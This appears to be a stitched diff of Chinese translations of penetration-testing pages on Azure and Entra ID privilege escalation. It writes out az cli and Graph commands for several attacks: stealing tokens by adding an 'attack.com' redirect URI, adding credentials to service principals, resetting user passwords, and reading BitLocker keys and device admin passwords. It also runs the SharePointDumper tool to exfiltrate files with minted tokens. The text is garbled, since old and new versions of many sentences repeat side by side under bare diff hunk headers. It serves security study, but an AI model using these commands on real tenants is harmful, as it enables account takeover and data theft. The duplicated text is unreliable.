攻击者可以向租户用户正在使用的应用程序添加一个 redirect URI然后与他们共享使用该新 redirect URL 的 login URLs从而窃取他们的 tokens。请注意,如果用户已经在该应用程序中登录,身份验证将自动完成,用户无需同意任何内容。
请注意,还可以更改应用程序请求的权限,以获取更多权限,但在这种情况下,用户需要再次接受请求所有权限的提示
另外,也可以更改应用程序请求的 permissions 以获取更多权限,但在这种情况下,用户需要再次接受请求所有权限的 prompt
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## Service Principals
### Applications Privilege Escalation
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 很常见会发现默认应用被分配了类型为 **API permissions****`Application`**。**API Permission**(在 Entra ID 控制台中的称呼)类型为 **`Application`** 意味着该应用可以在没有用户上下文(即无用户登录该应用)的情况下访问 API 并执行操作,并且不需要 Entra ID 角色来授权。因此,在每个 **Entra ID** 租户中发现**高权限应用**是非常普遍的。
如果攻击者拥有任何允许 **update the credentials (secret o certificate) of the application** 的权限/角色,攻击者就可以生成新的凭据,然后用它来 **authenticate as the application**,从而获得该应用拥有的所有权限。
请注意,所提到的博客列出了一些常见 Microsoft 默认应用的 **API permissions**但在该报告发布后不久Microsoft 修复了这个问题,现在已无法再以 Microsoft 应用登录。不过,仍然可能发现可被滥用的 **具有高权限的自定义应用**
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>查找对非 Microsoft API 具有 API 权限的所有应用程序 (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## 服务主体
### `microsoft.directory/servicePrincipals/credentials/update`
这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。
这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以获取这些权限。
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 新生成的密码不会出现在网络控制台中,因此这可能是一种隐秘的方式来保持对服务主体的持久性。\
> 从API可以通过以下命令找到它们: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
如果收到错误消息 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`这意味着**无法修改SPpasswordCredentials属性**,您需要先解锁它。为此,您需要一个权限`microsoft.directory/applications/allProperties/update`,该权限允许执行:
> 新生成的密码不会出现在 web console所以这可能是对 service principal 的隐蔽持久化方式。\
> API 可以通过以下命令找到: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
如果收到错误 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`那是因为 **无法修改 SPpasswordCredentials property**,你必须先解锁它。为此需要一个权限 (`microsoft.directory/applications/allProperties/update`),该权限允许执行:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
这允许攻击者向现有的服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限
这允许 attacker 向现有的 service principals 添加 credentials。如果 service principal 拥有 elevated privilegesattacker 就可以获取这些 privileges
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
类似于应用程序,此权限允许向服务主体添加更多所有者。拥有服务主体可以控制其凭和权限。
类似于 applications该权限允许向 service principal 添加更多 owners。拥有 service principal 可控制其凭和权限。
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 添加新所有者后,我尝试除它但API响应说不支持DELETE方法即使是删除所有者所需使用的方法。因此**现在无法删除所有者**。
> 添加新所有者后,我尝试除它,但 API 回复说不支持 DELETE 方法,即使那正是删除所有者所需的方法。因此**现在无法删除所有者**。
### `microsoft.directory/servicePrincipals/disable` `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
这些权限允许禁用和启用服务主体。攻击者可以利用权限启用他以某种方式获得访问权限的服务主体,以提升权限
这些权限允许禁用和启用服务主体。攻击者可以利用权限启用一个他通过某种方式能够访问的服务主体,以进行权限提升。
注意,对于技术,攻击者需要更多权限才能接管启用的服务主体。
注意,对于技术,攻击者需要更多权限才能接管启用的服务主体。
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
这些权限允许创建和获取单点登录的凭据,可能允许访问第三方应用程序。
这些权限允许为单点登录创建和获取凭据,可能允许访问第三方应用程序。
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### 应用程序权限提升
**正如在 [这篇文章](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) 中所解释的**,很常见的是发现默认应用程序被分配了类型为 **`Application`** 的 **API 权限**。类型为 **`Application`** 的 API 权限(在 Entra ID 控制台中称为)意味着该应用程序可以在没有用户上下文(用户未登录应用程序)的情况下访问 API并且不需要 Entra ID 角色来允许它。因此,在每个 Entra ID 租户中发现 **高权限应用程序** 是非常常见的。
然后,如果攻击者拥有任何允许 **更新应用程序凭据(密钥或证书)** 的权限/角色,攻击者可以生成新的凭据,然后使用它来 **以应用程序身份进行身份验证**,获得该应用程序拥有的所有权限。
请注意,提到的博客分享了一些常见 Microsoft 默认应用程序的 **API 权限**然而在此报告发布后不久Microsoft 修复了此问题,现在不再可能以 Microsoft 应用程序身份登录。然而,仍然可以找到 **可能被滥用的高权限自定义应用程序**
---
## 组
### `microsoft.directory/groups/allProperties/update`
此权限允许将用户添加到特权组,从而导致权限提升
此权限允许将用户添加到特权组,从而导致 privilege escalation
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**注意**:此权限不包括 Entra ID 角色可分配组
**注意**:此权限不包括 Entra ID role-assignable groups
### `microsoft.directory/groups/owners/update`
此权限允许成为组的所有者。组的所有者可以控制组成员资格和设置,可能会将权限提升该组。
此权限允许成为组的所有者。组的所有者可以控制组成员和设置,可能进而提升该组的权限
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**注意**: 此权限不包括 Entra ID 角色可分配组。
**注意**此权限不包括 Entra ID 可分配角色的组。
### `microsoft.directory/groups/members/update`
此权限允许向组添加成员。攻击者可以将自己或恶意账户添加到特权组,从而获得提升的访问权限。
此权限允许向组添加成员。攻击者可以将自己或恶意账户添加到特权组,从而获得提升的访问权限。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
权限允许更新动态组中的成员规则。攻击者可以修改动态规则,以在没有明确添加的情况下将自己包含特权组中。
权限允许更新动态组中的成员资格规则。攻击者可以修改动态规则,将自己包含特权组中,而无需显式添加
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**注意**此权限不包括 Entra ID 角色可分配组
**注意**: 此权限不包括 Entra ID 的 role-assignable groups
### 动态组权限提升
### Dynamic Groups Privesc
用户可能通过修改自己的属性被添加为动态组的成员来提升权限。有关更多信息请查
用户可能通过修改自己的属性被添加为 dynamic groups 的成员,从而提升权限。更多信息请查
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
权限允许重置非管理员用户的密码,从而允许潜在攻击者提升其他用户的权限。权限不能分配给自定义角色。
权限允许重置非管理员用户的密码,从而可能使攻击者提升其他用户的权限。权限不能分配给自定义角色。
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
此权限允许修改用户的属性。通常可以找到根据属性值添加用户的动态组,因此,此权限可能允许用户设置所需的属性值以成为特定动态组的成员并提升权限。
此权限允许修改用户的属性。常见情况是存在基于属性值添加用户的动态组,因此权限可能允许用户设置所需的属性值以成为某个特定动态组的成员,从而升级权限。
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## 条件访问策略与 MFA 绕过
## Conditional Access Policies & MFA bypass
配置错误的条件访问策略要求 MFA 可能被绕过,请查:
错误配置的 conditional access policies要求 MFA可能被绕过,请查
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
此权限允许攻击者将自己指定为设备的所有者,获得对设备特定设置和数据的控制或访问
此权限允许 attackers 将自己分配为设备的所有者,从而获得对设备的控制或访问设备特定设置和数据。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
权限允许攻击者将其户与设备关联,以获得访问权限或绕过安全策略。
权限允许攻击者将其户与设备关联,从而获取访问权限或绕过安全策略。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
此权限允许攻击者读取 Microsoft Entra 加入设备的备份本地管理员户凭据的属性,包括密码。
此权限允许攻击者读取 Microsoft Entra 加入设备的备份本地管理员户凭据的属性,包括密码。
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
权限允许访问 BitLocker 密钥,这可能使攻击者能够解密驱动器,从而危及数据机密性。
权限允许访问 BitLocker 密钥,攻击者可利用此权限解密驱动器,从而危及数据机密性。
```bash
# List recovery keys
az rest --method GET \
@@ -308,7 +413,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## 其他有趣的权限 (TODO)
## 其他有趣的 permissions (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`

View File

@@ -4,9 +4,9 @@
## 基本信息
Azure Active Directory (Azure AD) 是 Microsoft 的基于云的身份和访问管理服务。它帮助员工登录并访问组织内外的资源,包括 Microsoft 365、Azure portal 以及众多其他 SaaS 应用。Azure AD 的设计旨在提供关键的身份服务,主要包括 **身份验证、授权和用户管理**
Azure Active Directory (Azure AD) 是 Microsoft 的基于云的身份和访问管理服务。它有助于员工登录并访问组织内外的资源,包括 Microsoft 365、the Azure portal以及众多其他 SaaS 应用。Azure AD 的设计侧重于提供关键的身份服务,主要包括 **身份验证、授权和用户管理**
Azure AD 的关键功能包括 **多因素****条件访问**,并与其他 Microsoft 安全服务实现无缝集成。这些功能显著提了用户身份的安全性,使组织能够有效地实施和执行其访问策略。作为 Microsoft 云服务生态系统的基础组件Azure AD 对基于云的用户身份管理至关重要。
Azure AD 的主要功能包括 **多因素身份验****条件访问**,并与其他 Microsoft 安全服务无缝集成。这些功能显著提了用户身份的安全性,使组织能够有效地实施和执行其访问策略。作为 Microsoft 云服务生态系统的核心组件Azure AD 对基于云的用户身份管理至关重要。
## 枚举
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
当你通过任何程序使用 **CLI****Azure****login** 时,你实际上是在使用属于 **Microsoft** 的某个 **tenant** **Azure Application**。这些 Applications就像你可以在自己的账号中创建的那些**have a client id**。在你能**console**看到的 **allowed applications lists** 里,**won't be able to see all of them**,但它们**are allowed by default**。
当你通过 **登录** 使用任意程序并通过 **CLI** 进入 Azure 时,你使用的是属于 **Microsoft** 的某个 **tenant** **Azure Application**。这些 Applications就像你在账户中可以创建的那些**have a client id**。在控制台中你能看到的 **allowed applications lists** 并不能列出所有这些应用,**但它们默认是被允许的**。
例如,一个用于 **authenticates** **powershell script** 使用客户端 id **`1950a258-227b-4e31-a9cf-717495945fc2`** 的应用。即使该应用未出现在 **console** sysadmin 仍 **block that application**从而阻止用户通过该 App 连接的工具访问。
例如,一个 **powershell script** **authenticates** 使用的 app 的 client id **`1950a258-227b-4e31-a9cf-717495945fc2`**。即使该 app 没有出现在控制台sysadmin 仍然可以 **block that application**阻止用户使用通过该 App 连接的工具进行访问。
然而,还有一些应用的 **other client-ids** 可以 **will allow you to connect to Azure**
然而,存在一些 **other client-ids** 的应用,它们 **will allow you to connect to Azure**
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA Conditional Access 策略
### MFA & Conditional Access Policies
强烈建议为每个用户添加 MFA有些公司不会启用它,或者可能通过 Conditional Access 进行设置:用户如果从特定位置、浏览器或 **某些条件** 登录,**需要 MFA**。如果这些策略配置不正确,可能容易遭受 **bypasses**。查看:
强烈建议为每个用户启用 MFA然而有些公司不会设置它,或者通过 Conditional Access 设置条件:如果用户从特定位置、浏览器或**某些条件**登录,则该用户将**被要求进行 MFA**。这些策略如果配置不可能容易**bypasses**。查看:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -483,21 +483,21 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### 向组添加用户
所有者可以向组添加新用户
组所有者可以向组添加新用户
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> 组可以是动态的,这基本意味着 **如果用户满足某些条件,该用户将被添加到一个组中**。当然,如果条件基于 **属性**,即 **用户** 可以 **控制**的属性,他可滥用此功能 **进入其他组**。\
> 以下页面查看如何滥用动态组:
> 组可以是动态的,这基本意味着 **如果用户满足某些条件,将被添加到一个组中**。当然,如果这些条件基于 **用户可控制的属性**,他可滥用此功能 **进入其他组**。\
> 查看以下页面了解如何滥用动态组:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
### 服务主体
### Service Principals
有关 Entra ID 服务主体 的更多信息,请查看:
欲了解更多关于 Entra ID service principals 的信息,请查看:
{{#ref}}
../az-basic-information/
@@ -707,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications."
```
</details>
### 应用
### Applications
有关应用的更多信息,请查看
有关 Applications 的更多信息,请参阅
{{#ref}}
../az-basic-information/
{{#endref}}
当生成一个应用时,会予两种类型的权限:
当生成 App 时,会予两权限:
- **Permissions** 授予 **Service Principal**
- **Permissions** **应用** 可以代表用户拥有并使用。
- **权限** 授予 **Service Principal**
- **权限** **app** 可以代表用户拥有并使用
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>查找对非 Microsoft API 具有 API 权限的所有应用程序 (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -820,17 +895,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以通过给自己授予该角色来**升级为 Global Admin**。\
> 更多信息请[**查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> 应用在请求令牌时用于证明其身份的秘密字符串称为应用密码。\
> 因此,如果找到此**密码**,你可以以该**service principal**的身份**在租户内**进行访问。\
> 注意该密码仅在生成时可见(可以更改,但无法再次取)。\
> **应用**的**所有者**可以向其**添加密码**从而可以冒充该应用)。\
> 以这些 service principals 登录的行为**不会被标记为风险**,并且**不会启用 MFA**
> 因此,如果找到这个 **password**,你可以作为该 **service principal** 在 **tenant** 内进行访问。\
> 注意该密码仅在生成时可见(可以更改,但无法再次取)。\
> 应用的 **owner** 可以为其 **add a password**因此可以冒充该应用)。\
> 以这些 service principals 登录不会被标记为风险,并且它们 **won't have MFA.**
可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用 App IDs 列表。
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
@@ -852,7 +927,7 @@ az identity list --output table
### Azure 角色
有关 Azure 角色的更多信息,请参
有关 Azure 角色的更多信息,请参
{{#ref}}
../az-basic-information/
@@ -939,7 +1014,7 @@ Headers = @{
### Entra ID 角色
有关 Azure 角色的更多信息,请参阅
有关 Azure 角色的更多信息,请查看
{{#ref}}
../az-basic-information/
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> 如果设备 (VM) 是 **AzureAD joined**,来自 AzureAD 的用户将 **能够登录**。\
> 此外,如果已登录的用户是该设备的 **Owner**,他将成为 **local admin**。
> 如果设备VM已加入 **AzureAD**,来自 AzureAD 的用户将能够 **登录**。\
> 此外,如果已登录的用户是该设备的 **Owner**,他将成为 **本地管理员**。
### 管理单元
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
拥有包含 **`Sites.Read.All`** 或 **`Sites.ReadWrite.All`** 的 **delegated Microsoft Graph token** 的攻击者可以通过 Graph 枚举 **sites/drives/items**,然后通过 **SharePoint pre-authentication download URLs** 拉取文件内容(这些是嵌入访问令牌的时限 URLThe [SharePointDumper](https://github.com/zh54321/SharePointDumper) 脚本自动化整流程(枚举 → pre-auth downloads在每次请求上输出遥测以便检测测试
拥有包含 **`Sites.Read.All`** 或 **`Sites.ReadWrite.All`** 的 **delegated Microsoft Graph token** 的攻击者可以通过 Graph 枚举 **sites/drives/items**,然后通过 **SharePoint pre-authentication download URLs**(嵌入 access token 的时限 URL拉取文件内容。[SharePointDumper](https://github.com/zh54321/SharePointDumper) 脚本自动化整流程(enumeration → pre-auth downloads为检测测试生成每次请求的遥测
### 获取可用的委派令牌
### Obtaining usable delegated tokens
- SharePointDumper 本身 **does not authenticate**;请提供 access token可选 refresh token
- Pre-consented **first-party clients** 可被滥用以在不注册应用的情况下 mint 一个 Graph token。示例 `Invoke-Auth`(来自 [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)调用:
- SharePointDumper 本身**不进行认证**;需提供 access token可选 refresh token
- 已预先同意的 **first-party clients** 可被滥用以在不注册 app 的情况下 mint Graph token。示例 `Invoke-Auth`(来自 [EntraTokenAid](https://github.com/zh54321/EntraTokenAid))调用:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1120,15 +1195,15 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE 客户端支持跨设备刷新FOCI FALSE 客户端通常需要 `-Origin` 满足 reply URL origin 验证。
> FOCI TRUE 客户端支持跨设备刷新FOCI FALSE 客户端通常需要 `-Origin` 满足 reply URL 的原点验证。
### 运行 SharePointDumper 进行 enumeration + exfiltration
- 基本 dump with custom UA / proxy / throttling:
- Basic dump 使用自定义 UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- 作用域控制:包含/排除站点或扩展及全局上限:
- 范围控制:包含/排除站点或扩展及全局上限:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
@@ -1136,24 +1211,24 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **HTTP 401 时自动刷新 token** (需要加载 EntraTokenAid)
- **HTTP 401 时自动刷新令牌** (需要加载 EntraTokenAid):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
操作说明:
- 优先使用 **CAE-enabled** tokens 以避免在运行中途过期;尝试刷新不会记录在工具的 API 日志中。
- **Graph + SharePoint** 生成 **CSV/JSON request logs**,并默认对嵌入的 SharePoint 下载 tokens 进行脱敏(可切换)
- 支持 **custom User-Agent**、**HTTP proxy**、**per-request delay + jitter** 以及 **Ctrl+C-safe shutdown**以便在检测/IR 测试进行流量整形。
- Prefers **CAE-enabled** tokens to avoid mid-run expiry刷新尝试**不会**记录在工具的 API 日志中。
- 生成用于 **Graph + SharePoint** **CSV/JSON 请求日志**,并默认(可切换)对嵌入的 SharePoint 下载令牌进行脱敏
- 支持 **custom User-Agent**、**HTTP proxy**、**per-request delay + jitter** 以及 **Ctrl+C-safe shutdown**用于在检测/IR 测试期间进行流量整形。
## Entra ID Privilege Escalation
## Entra ID 权限提升
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Azure 权限提升
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
@@ -1161,29 +1236,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
## 防御机制
### Privileged Identity Management (PIM)
### 特权身份管理 (PIM)
Privileged Identity Management (PIM) 在 Azure 中有助于防止不必要地向用户分配过权限。
Azure 中的特权身份管理 (PIM) 有助于 **防止不必要地向用户分配过权限**
